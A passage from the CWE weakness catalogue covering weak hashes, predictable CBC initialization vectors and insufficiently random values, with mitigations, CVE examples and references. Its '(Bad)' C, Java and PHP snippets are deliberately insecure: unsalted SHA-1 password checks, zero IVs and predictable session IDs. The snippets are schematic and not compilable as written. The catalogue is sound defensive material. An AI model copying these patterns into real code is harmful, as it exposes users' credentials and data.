- [REF-280]Bruce Schneier. "Applied Cryptography". 1996. John Wiley & Sons. < <http://www.schneier.com/book-applied.html> >.
- [REF-281]Alfred J. Menezes, Paul C. van Oorschot and Scott A. Vanstone. "Handbook of Applied Cryptography". 1996 October. < <http://www.cacr.math.uwaterloo.ca/hac/> >.
- [REF-282]C Matthew Curtin. "Avoiding bogus encryption products: Snake Oil FAQ". 1998 April 0. < <http://www.faqs.org/faqs/cryptography-faq/snake-oil/> >.
- [REF-267]Information Technology Laboratory, National Institute of Standards and Technology. "SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". 2001 May 5. < <http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf> >.
- [REF-284]Paul F. Roberts. "Microsoft Scraps Old Encryption in New Code". 2005 September 5. < <http://www.eweek.com/c/a/Security/Microsoft-Scraps-Old-Encryption-in-New-Code/> >.
- [REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223> >.
- [REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-287]Johannes Ullrich. "Top 25 Series - Rank 24 - Use of a Broken or Risky Cryptographic Algorithm". 2010 March 5. SANS Software Security Institute. < <http://blogs.sans.org/appsecstreetfighter/2010/03/25/top-25-series-rank-24-use-of-a-broken-or-risky-cryptographic-algorithm/> >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-962]Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". 2016 January. < <http://www.omg.org/spec/ASCSM/1.0/> >.

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.

[REF-1192]Information Technology Laboratory, National Institute of Standards and Technology. "FIPS PUB 140-3: SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". 2019 March 2. < <https://csrc.nist.gov/publications/detail/fips/140/3/final> >.

[REF-1283]Forescout Vedere Labs. "OT:ICEFALL: The legacy of "insecure by design" and its implications for certifications and risk management". 2022 June 0. < <https://www.forescout.com/resources/ot-icefall-report/> >.

---

## CWE-328: Use of Weak Hash

**Weakness ID** : 328

**Structure** : Simple

**Abstraction** : Base

### Description

The product uses an algorithm that produces a digest (output value) that does not meet security expectations for a hash function that allows an adversary to reasonably determine the original input (preimage attack), find another input that can produce the same hash (2nd preimage attack), or find multiple inputs that evaluate to the same hash (birthday attack).

### Extended Description

A hash function is defined as an algorithm that maps arbitrarily sized data into a fixed-sized digest (output) such that the following properties hold:

- 1. The algorithm is not invertible (also called "one-way" or "not reversible")
- 2. The algorithm is deterministic; the same input produces the same digest every time

Building on this definition, a cryptographic hash function must also ensure that a malicious actor cannot leverage the hash function to have a reasonable chance of success at determining any of the following:

- 1. the original input (preimage attack), given only the digest
- 2. another input that can produce the same digest (2nd preimage attack), given the original input
- 3. a set of two or more inputs that evaluate to the same digest (birthday attack), given the actor can arbitrarily choose the inputs to be hashed and can do so a reasonable amount of times

What is regarded as "reasonable" varies by context and threat model, but in general, "reasonable" could cover any attack that is more efficient than brute force (i.e., on average, attempting half of all possible combinations). Note that some attacks might be more efficient than brute force but are still not regarded as achievable in the real world.


Any algorithm does not meet the above conditions will generally be considered weak for general use in hashing.

In addition to algorithmic weaknesses, a hash function can be made weak by using the hash in a security context that breaks its security guarantees. For example, using a hash function without a salt for storing passwords (that are sufficiently short) could enable an adversary to create a "rainbow table" [REF-637] to recover the password under certain conditions; this attack works against such hash functions as MD5, SHA-1, and SHA-2.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.


*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		326	Inadequate Encryption Strength	756
ChildOf		327	Use of a Broken or Risky Cryptographic Algorithm	758

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1013	Encrypt Data	2221

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		310	Cryptographic Issues	2111

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Technology** : ICS/OT (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

## Potential Mitigations

### Phase: Architecture and Design

Use an adaptive hash function that can be configured to change the amount of computational effort needed to compute the hash, such as the number of iterations ("stretching") or the amount of memory required. Some hash functions perform salting automatically. These functions can significantly increase the overhead for a brute force attack compared to intentionally-fast functions such as MD5. For example, rainbow table attacks can become infeasible due to the high computing overhead. Finally, since computing power gets faster and cheaper over time, the technique can be reconfigured to increase the workload without forcing an entire replacement of the algorithm in use. Some hash functions that have one or more of these desired properties include bcrypt [REF-291], scrypt [REF-292], and PBKDF2 [REF-293]. While there is active debate about which of these is the most effective, they are all stronger than using salts with hash functions with very little computing overhead. Note that using these functions can have an impact on performance, so they require special consideration to avoid denial-of-service attacks. However, their configurability provides finer control over how much CPU and memory is used, so it could be adjusted to suit the environment's needs.

*Effectiveness = High*



## Demonstrative Examples

### Example 1:

In both of these examples, a user is logged in if their given password matches a stored password:

Example Language: C

(Bad)

```
unsigned char *check_passwd(char *plaintext) {
    ctext = simple_digest("sha1",plaintext,strlen(plaintext), ... );
    //Login if hash matches stored hash
    if (equal(ctext, secret_password())) {
        login_user();
    }
}
```

Example Language: Java

(Bad)

```
String plainText = new String(plainTextIn);
MessageDigest encer = MessageDigest.getInstance("SHA");
encer.update(plainTextIn);
byte[] digest = password.digest();
//Login if hash matches stored hash
if (equal(digest,secret_password())) {
    login_user();
}
```

This code relies exclusively on a password mechanism (CWE-309) using only one factor of authentication (CWE-308). If an attacker can steal or guess a user's password, they are given full access to their account. Note this code also uses SHA-1, which is a weak hash (CWE-328). It also does not use a salt (CWE-759).

### Example 2:

In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.

At least one OT product used weak hashes.

## Observed Examples

Reference	Description
<b>CVE-2022-30320</b>	Programmable Logic Controller (PLC) uses a protocol with a cryptographically insecure hashing algorithm for passwords. <a href="https://www.cve.org/CVERecord?id=CVE-2022-30320">https://www.cve.org/CVERecord?id=CVE-2022-30320</a>
<b>CVE-2005-4900</b>	SHA-1 algorithm is not collision-resistant. <a href="https://www.cve.org/CVERecord?id=CVE-2005-4900">https://www.cve.org/CVERecord?id=CVE-2005-4900</a>
<b>CVE-2020-25685</b>	DNS product uses a weak hash (CRC32 or SHA-1) of the query name, allowing attacker to forge responses by computing domain names with the same hash. <a href="https://www.cve.org/CVERecord?id=CVE-2020-25685">https://www.cve.org/CVERecord?id=CVE-2020-25685</a>
<b>CVE-2012-6707</b>	blogging product uses MD5-based algorithm for passwords. <a href="https://www.cve.org/CVERecord?id=CVE-2012-6707">https://www.cve.org/CVERecord?id=CVE-2012-6707</a>
<b>CVE-2019-14855</b>	forging of certificate signatures using SHA-1 collisions. <a href="https://www.cve.org/CVERecord?id=CVE-2019-14855">https://www.cve.org/CVERecord?id=CVE-2019-14855</a>
<b>CVE-2017-15999</b>	mobile app for backup sends SHA-1 hash of password in cleartext. <a href="https://www.cve.org/CVERecord?id=CVE-2017-15999">https://www.cve.org/CVERecord?id=CVE-2017-15999</a>



Reference	Description
<b>CVE-2006-4068</b>	Hard-coded hashed values for username and password contained in client-side script, allowing brute-force offline attacks. <a href="https://www.cve.org/CVERecord?id=CVE-2006-4068">https://www.cve.org/CVERecord?id=CVE-2006-4068</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	934	OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure	928	2184
MemberOf	<b>C</b>	958	SFP Secondary Cluster: Broken Cryptography	888	2191
MemberOf	<b>C</b>	1029	OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure	1026	2229
MemberOf	<b>C</b>	1346	OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures	1344	2281

### Notes

#### Maintenance

Since CWE 4.4, various cryptography-related entries including CWE-328 have been slated for extensive research, analysis, and community consultation to define consistent terminology, improve relationships, and reduce overlap or duplication. As of CWE 4.6, this work is still ongoing.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Reversible One-Way Hash

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
68	Subvert Code-signing Facilities
461	Web Services API Signature Forgery Leveraging Hash Function Extension Weakness

### References

[REF-289]Alexander Sotirov et al.. "MD5 considered harmful today". < <http://www.phreedom.org/research/rogue-ca/> >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-291]Johnny Shelley. "bcrypt". < <http://bcrypt.sourceforge.net/> >.

[REF-292]Colin Percival. "Tarsnap - The scrypt key derivation function and encryption utility". < <http://www.tarsnap.com/scrypt.html> >.

[REF-293]B. Kaliski. "RFC2898 - PKCS #5: Password-Based Cryptography Specification Version 2.0". 2000. < <http://tools.ietf.org/html/rfc2898> >.

[REF-294]Coda Hale. "How To Safely Store A Password". 2010 January 1. < <http://codahale.com/how-to-safely-store-a-password/> >.

[REF-295]Brian Krebs. "How Companies Can Beef Up Password Security (interview with Thomas H. Ptacek)". 2012 June 1. < <http://krebsonsecurity.com/2012/06/how-companies-can-beef-up-password-security/> >.

[REF-296]Solar Designer. "Password security: past, present, future". 2012. < <http://www.openwall.com/presentations/PHDays2012-Password-Security/> >.

[REF-297]Troy Hunt. "Our password hashing has no clothes". 2012 June 6. < <http://www.troyhunt.com/2012/06/our-password-hashing-has-no-clothes.html> >.

[REF-298]Joshbw. "Should we really use bcrypt/scrypt?". 2012 June 8. < <http://www.analyticalengine.net/2012/06/should-we-really-use-bcryptscrypt/> >.

[REF-637]"Rainbow table". 2009 March 3. Wikipedia. < [http://en.wikipedia.org/wiki/Rainbow\\_table](http://en.wikipedia.org/wiki/Rainbow_table) >.

[REF-1243]Bruce Schneier. "Cryptanalysis of SHA-1". 2005 February 8. < [https://www.schneier.com/blog/archives/2005/02/cryptanalysis\\_o.html](https://www.schneier.com/blog/archives/2005/02/cryptanalysis_o.html) >.2021-10-25.

[REF-1244]Dan Goodin. "At death's door for years, widely used SHA1 function is now dead". 2017 February 3. Ars Technica. < <https://arstechnica.com/information-technology/2017/02/at-deaths-door-for-years-widely-used-sha1-function-is-now-dead/> >.2021-10-25.

[REF-1283]Forescout Vedere Labs. "OT:ICEFALL: The legacy of "insecure by design" and its implications for certifications and risk management". 2022 June 0. < <https://www.forescout.com/resources/ot-icefall-report/> >.

## CWE-329: Generation of Predictable IV with CBC Mode

**Weakness ID** : 329

**Structure** : Simple

**Abstraction** : Variant

### Description

The product generates and uses a predictable initialization Vector (IV) with Cipher Block Chaining (CBC) Mode, which causes algorithms to be susceptible to dictionary attacks when they are encrypted under the same key.



### Extended Description

CBC mode eliminates a weakness of Electronic Code Book (ECB) mode by allowing identical plaintext blocks to be encrypted to different ciphertext blocks. This is possible by the XOR-ing of an IV with the initial plaintext block so that every plaintext block in the chain is XOR'd with a different value before encryption. If IVs are reused, then identical plaintexts would be encrypted to identical ciphertexts. However, even if IVs are not identical but are predictable, then they still break the security of CBC mode against Chosen Plaintext Attacks (CPA).

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		573	Improper Following of Specification by Caller	1222
ChildOf		1204	Generation of Weak Initialization Vector (IV)	1838

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Technology** : ICS/OT (*Prevalence = Undetermined*)

### Background Details

CBC mode is a commonly used mode of operation for a block cipher. It works by XOR-ing an IV with the initial block of a plaintext prior to encryption and then XOR-ing each successive block of plaintext with the previous block of ciphertext before encryption.

$$C_0 = IV$$

$$C_i = E_k\{M_i \text{ XOR } C_{i-1}\}$$

When used properly, CBC mode provides security against chosen plaintext attacks. Having an unpredictable IV is a crucial underpinning of this. See [REF-1171].

### Likelihood Of Exploit

Medium

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
	<i>If the IV is not properly initialized, data that is encrypted can be compromised and leak information.</i>	

### Potential Mitigations

#### Phase: Implementation

NIST recommends two methods of generating unpredictable IVs for CBC mode [REF-1172]. The first is to generate the IV randomly. The second method is to encrypt a nonce with the same key and cipher to be used to encrypt the plaintext. In this case the nonce must be unique but can be predictable, since the block cipher will act as a pseudo random permutation.

### Demonstrative Examples

#### Example 1:

In the following examples, CBC mode is used when encrypting data:

*Example Language: C*

*(Bad)*

```
EVP_CIPHER_CTX ctx;
char key[EVP_MAX_KEY_LENGTH];
char iv[EVP_MAX_IV_LENGTH];
RAND_bytes(key, b);
memset(iv,0,EVP_MAX_IV_LENGTH);
EVP_EncryptInit(&ctx,EVP_bf_cbc(), key,iv);
```

*Example Language: Java*

*(Bad)*

```
public class SymmetricCipherTest {
    public static void main() {
        byte[] text = "Secret".getBytes();
        byte[] iv = {
            0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
        };
        KeyGenerator kg = KeyGenerator.getInstance("DES");
        kg.init(56);
        SecretKey key = kg.generateKey();
        Cipher cipher = Cipher.getInstance("DES/CBC/PKCS5Padding");
        IvParameterSpec ips = new IvParameterSpec(iv);
        cipher.init(Cipher.ENCRYPT_MODE, key, ips);
        return cipher.doFinal(inpBytes);
    }
}
```

In both of these examples, the initialization vector (IV) is always a block of zeros. This makes the resulting cipher text much more predictable and susceptible to a dictionary attack.

## Observed Examples

Reference	Description
<b>CVE-2020-5408</b>	encryption functionality in an authentication framework uses a fixed null IV with CBC mode, allowing attackers to decrypt traffic in applications that use this functionality <a href="https://www.cve.org/CVERecord?id=CVE-2020-5408">https://www.cve.org/CVERecord?id=CVE-2020-5408</a>
<b>CVE-2017-17704</b>	messages for a door-unlocking product use a fixed IV in CBC mode, which is the same after each restart <a href="https://www.cve.org/CVERecord?id=CVE-2017-17704">https://www.cve.org/CVERecord?id=CVE-2017-17704</a>
<b>CVE-2017-11133</b>	application uses AES in CBC mode, but the pseudo-random secret and IV are generated using math.random, which is not cryptographically strong. <a href="https://www.cve.org/CVERecord?id=CVE-2017-11133">https://www.cve.org/CVERecord?id=CVE-2017-11133</a>
<b>CVE-2007-3528</b>	Blowfish-CBC implementation constructs an IV where each byte is calculated modulo 8 instead of modulo 256, resulting in less than 12 bits for the effective IV length, and less than 4096 possible IV values. <a href="https://www.cve.org/CVERecord?id=CVE-2007-3528">https://www.cve.org/CVERecord?id=CVE-2007-3528</a>
<b>CVE-2011-3389</b>	BEAST attack in SSL 3.0 / TLS 1.0. In CBC mode, chained initialization vectors are non-random, allowing decryption of HTTPS traffic using a chosen plaintext attack. <a href="https://www.cve.org/CVERecord?id=CVE-2011-3389">https://www.cve.org/CVERecord?id=CVE-2011-3389</a>

## Functional Areas

- Cryptography

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	959	SFP Secondary Cluster: Weak Cryptography	888	2192
MemberOf	C	1346	OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures	1344	2281
MemberOf	C	1370	ICS Supply Chain: Common Mode Frailties	1358	2298

## Notes

### Maintenance

As of CWE 4.5, terminology related to randomness, entropy, and predictability can vary widely. Within the developer and other communities, "randomness" is used heavily. However, within cryptography, "entropy" is distinct, typically implied as a measurement. There are no commonly-used definitions, even within standards documents and cryptography papers. Future versions of CWE will attempt to define these terms and, if necessary, distinguish between them in ways that are appropriate for different communities but do not reduce the usability of CWE for mapping, understanding, or other scenarios.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Not using a random IV with CBC mode

## References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.

[REF-1171]Matthew Green. "Why IND-CPA implies randomized encryption". 2018 August 4. <  
<https://blog.cryptographyengineering.com/why-ind-cpa-implies-randomized-encryption/> >.

[REF-1172]NIST. "Recommendation for Block Cipher Modes of Operation". 2001 December. <  
<https://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-38a.pdf> >.

## CWE-330: Use of Insufficiently Random Values

**Weakness ID** : 330

**Structure** : Simple

**Abstraction** : Class

### Description

The product uses insufficiently random numbers or values in a security context that depends on unpredictable numbers.

### Extended Description

When product generates predictable values in a context requiring unpredictability, it may be possible for an attacker to guess the next value that will be generated, and use this guess to impersonate another user or access sensitive information.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	693	Protection Mechanism Failure	1422
ParentOf	B	331	Insufficient Entropy	778
ParentOf	B	334	Small Space of Random Values	784
ParentOf	B	335	Incorrect Usage of Seeds in Pseudo-Random Number Generator (PRNG)	786
ParentOf	B	338	Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)	793
ParentOf	C	340	Generation of Predictable Numbers or Identifiers	798
ParentOf	B	344	Use of Invariant Value in Dynamically Changing Context	804
ParentOf	B	1204	Generation of Weak Initialization Vector (IV)	1838
ParentOf	B	1241	Use of Predictable Algorithm in Random Number Generator	1875
CanPrecede	B	804	Guessable CAPTCHA	1584

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ParentOf	B	331	Insufficient Entropy	778
ParentOf	B	335	Incorrect Usage of Seeds in Pseudo-Random Number Generator (PRNG)	786
ParentOf	B	338	Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)	793

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf	C	1013	Encrypt Data	2221

## Weakness Ordinalities

**Primary :**

### Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

**Technology :** Not Technology-Specific (*Prevalence = Undetermined*)

### Background Details

Computers are deterministic machines, and as such are unable to produce true randomness. Pseudo-Random Number Generators (PRNGs) approximate randomness algorithmically, starting with a seed from which subsequent values are calculated. There are two types of PRNGs: statistical and cryptographic. Statistical PRNGs provide useful statistical properties, but their output is highly predictable and forms an easy to reproduce numeric stream that is unsuitable for use in cases where security depends on generated values being unpredictable. Cryptographic PRNGs address this problem by generating output that is more difficult to predict. For a value to be cryptographically secure, it must be impossible or highly improbable for an attacker to distinguish between it and a truly random value.

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Confidentiality Other	Other	
	<i>When a protection mechanism relies on random values to restrict access to a sensitive resource, such as a session ID or a seed for generating a cryptographic key, then the resource being protected could be accessed by guessing the ID or key.</i>	
Access Control Other	Bypass Protection Mechanism Other	
	<i>If product relies on unique, unguessable IDs to identify a resource, an attacker might be able to guess an ID for a resource that is owned by another user. The attacker could then read the resource, or pre-create a resource with the same ID to prevent the legitimate program from properly sending the resource to the intended user. For example, a product might maintain session information in a file whose name is based on a username. An attacker could pre-create this file for a victim user, then set the permissions so that the application cannot generate the session for the victim, preventing the victim from using the application.</i>	
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity	
	<i>When an authorization or authentication mechanism relies on random values to restrict access to restricted functionality, such as a session ID or a seed for generating a cryptographic key, then an attacker may access the restricted functionality by guessing the ID or key.</i>	

### Detection Methods

**Black Box**



Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic. Attach the monitor to the process and look for library functions that indicate when randomness is being used. Run the process multiple times to see if the seed changes. Look for accesses of devices or equivalent resources that are commonly used for strong (or weak) randomness, such as /dev/urandom on Linux. Look for library or system calls that access predictable information such as process IDs and system time.

### Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis

*Effectiveness = SOAR Partial*

### Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

*Effectiveness = SOAR Partial*

### Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Man-in-the-middle attack tool

*Effectiveness = SOAR Partial*

### Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

*Effectiveness = High*

### Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

*Effectiveness = SOAR Partial*

### Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

*Effectiveness = High*

## Potential Mitigations

### Phase: Architecture and Design

Use a well-vetted algorithm that is currently considered to be strong by experts in the field, and select well-tested implementations with adequate length seeds. In general, if a pseudo-random number generator is not advertised as being cryptographically secure, then it is probably a statistical PRNG and should not be used in security-sensitive contexts. Pseudo-random number



generators can produce predictable numbers if the generator is known and the seed can be guessed. A 256-bit seed is a good starting point for producing a "random enough" number.

#### Phase: Implementation

Consider a PRNG that re-seeds itself as needed from high quality pseudo-random output sources, such as hardware devices.

#### Phase: Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

#### Phase: Architecture and Design

##### Phase: Requirements

*Strategy = Libraries or Frameworks*

Use products or modules that conform to FIPS 140-2 [REF-267] to avoid obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random Number Generators").

##### Phase: Testing

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

### Demonstrative Examples

#### Example 1:

This code attempts to generate a unique random identifier for a user's session.

*Example Language: PHP*

*(Bad)*

```
function generateSessionID($userID){
    srand($userID);
    return rand();
}
```

Because the seed for the PRNG is always the user's ID, the session ID will always be the same. An attacker could thus predict any user's session ID and potentially hijack the session.

This example also exhibits a Small Seed Space (CWE-339).

#### Example 2:

The following code uses a statistical PRNG to create a URL for a receipt that remains active for some period of time after a purchase.

*Example Language: Java*

*(Bad)*

```
String GenerateReceiptURL(String baseUrl) {
    Random ranGen = new Random();
    ranGen.setSeed((new Date()).getTime());
    return(baseUrl + ranGen.nextInt(400000000) + ".html");
}
```

This code uses the `Random.nextInt()` function to generate "unique" identifiers for the receipt pages it generates. Because `Random.nextInt()` is a statistical PRNG, it is easy for an attacker to guess the strings it generates. Although the underlying design of the receipt system is also faulty, it would be more secure if it used a random number generator that did not produce predictable receipt identifiers, such as a cryptographic PRNG.

## Observed Examples

Reference	Description
<b>CVE-2020-7010</b>	Cloud application on Kubernetes generates passwords using a weak random number generator based on deployment time. <a href="https://www.cve.org/CVERecord?id=CVE-2020-7010">https://www.cve.org/CVERecord?id=CVE-2020-7010</a>
<b>CVE-2009-3278</b>	Crypto product uses rand() library function to generate a recovery key, making it easier to conduct brute force attacks. <a href="https://www.cve.org/CVERecord?id=CVE-2009-3278">https://www.cve.org/CVERecord?id=CVE-2009-3278</a>
<b>CVE-2009-3238</b>	Random number generator can repeatedly generate the same value. <a href="https://www.cve.org/CVERecord?id=CVE-2009-3238">https://www.cve.org/CVERecord?id=CVE-2009-3238</a>
<b>CVE-2009-2367</b>	Web application generates predictable session IDs, allowing session hijacking. <a href="https://www.cve.org/CVERecord?id=CVE-2009-2367">https://www.cve.org/CVERecord?id=CVE-2009-2367</a>
<b>CVE-2009-2158</b>	Password recovery utility generates a relatively small number of random passwords, simplifying brute force attacks. <a href="https://www.cve.org/CVERecord?id=CVE-2009-2158">https://www.cve.org/CVERecord?id=CVE-2009-2158</a>
<b>CVE-2009-0255</b>	Cryptographic key created with a seed based on the system time. <a href="https://www.cve.org/CVERecord?id=CVE-2009-0255">https://www.cve.org/CVERecord?id=CVE-2009-0255</a>
<b>CVE-2008-5162</b>	Kernel function does not have a good entropy source just after boot. <a href="https://www.cve.org/CVERecord?id=CVE-2008-5162">https://www.cve.org/CVERecord?id=CVE-2008-5162</a>
<b>CVE-2008-4905</b>	Blogging software uses a hard-coded salt when calculating a password hash. <a href="https://www.cve.org/CVERecord?id=CVE-2008-4905">https://www.cve.org/CVERecord?id=CVE-2008-4905</a>
<b>CVE-2008-4929</b>	Bulletin board application uses insufficiently random names for uploaded files, allowing other users to access private files. <a href="https://www.cve.org/CVERecord?id=CVE-2008-4929">https://www.cve.org/CVERecord?id=CVE-2008-4929</a>
<b>CVE-2008-3612</b>	Handheld device uses predictable TCP sequence numbers, allowing spoofing or hijacking of TCP connections. <a href="https://www.cve.org/CVERecord?id=CVE-2008-3612">https://www.cve.org/CVERecord?id=CVE-2008-3612</a>
<b>CVE-2008-2433</b>	Web management console generates session IDs based on the login time, making it easier to conduct session hijacking. <a href="https://www.cve.org/CVERecord?id=CVE-2008-2433">https://www.cve.org/CVERecord?id=CVE-2008-2433</a>
<b>CVE-2008-0166</b>	SSL library uses a weak random number generator that only generates 65,536 unique keys. <a href="https://www.cve.org/CVERecord?id=CVE-2008-0166">https://www.cve.org/CVERecord?id=CVE-2008-0166</a>
<b>CVE-2008-2108</b>	Chain: insufficient precision causes extra zero bits to be assigned, reducing entropy for an API function that generates random numbers. <a href="https://www.cve.org/CVERecord?id=CVE-2008-2108">https://www.cve.org/CVERecord?id=CVE-2008-2108</a>
<b>CVE-2008-2108</b>	Chain: insufficient precision (CWE-1339) in random-number generator causes some zero bits to be reliably generated, reducing the amount of entropy (CWE-331) <a href="https://www.cve.org/CVERecord?id=CVE-2008-2108">https://www.cve.org/CVERecord?id=CVE-2008-2108</a>
<b>CVE-2008-2020</b>	CAPTCHA implementation does not produce enough different images, allowing bypass using a database of all possible checksums. <a href="https://www.cve.org/CVERecord?id=CVE-2008-2020">https://www.cve.org/CVERecord?id=CVE-2008-2020</a>
<b>CVE-2008-0087</b>	DNS client uses predictable DNS transaction IDs, allowing DNS spoofing. <a href="https://www.cve.org/CVERecord?id=CVE-2008-0087">https://www.cve.org/CVERecord?id=CVE-2008-0087</a>
<b>CVE-2008-0141</b>	Application generates passwords that are based on the time of day. <a href="https://www.cve.org/CVERecord?id=CVE-2008-0141">https://www.cve.org/CVERecord?id=CVE-2008-0141</a>

## Functional Areas

- Cryptography
- Authentication
- Session Management

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf	C	254	7PK - Security Features	700	2106
MemberOf	C	723	OWASP Top Ten 2004 Category A2 - Broken Access Control	711	2128
MemberOf	C	747	CERT C Secure Coding Standard (2008) Chapter 14 - Miscellaneous (MSC)	734	2144
MemberOf	C	753	2009 Top 25 - Porous Defenses	750	2146
MemberOf	C	808	2010 Top 25 - Weaknesses On the Cusp	800	2149
MemberOf	C	861	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 18 - Miscellaneous (MSC)	844	2163
MemberOf	C	867	2011 Top 25 - Weaknesses On the Cusp	900	2166
MemberOf	C	883	CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)	868	2174
MemberOf	C	905	SFP Primary Cluster: Predictability	888	2181
MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2336
MemberOf	C	1152	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 49. Miscellaneous (MSC)	1133	2246
MemberOf	C	1169	SEI CERT C Coding Standard - Guidelines 14. Concurrency (CON)	1154	2255
MemberOf	C	1170	SEI CERT C Coding Standard - Guidelines 48. Miscellaneous (MSC)	1154	2256
MemberOf	C	1346	OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures	1344	2281

## Notes

### Relationship

This can be primary to many other weaknesses such as cryptographic errors, authentication errors, symlink following, information leaks, and others.

### Maintenance

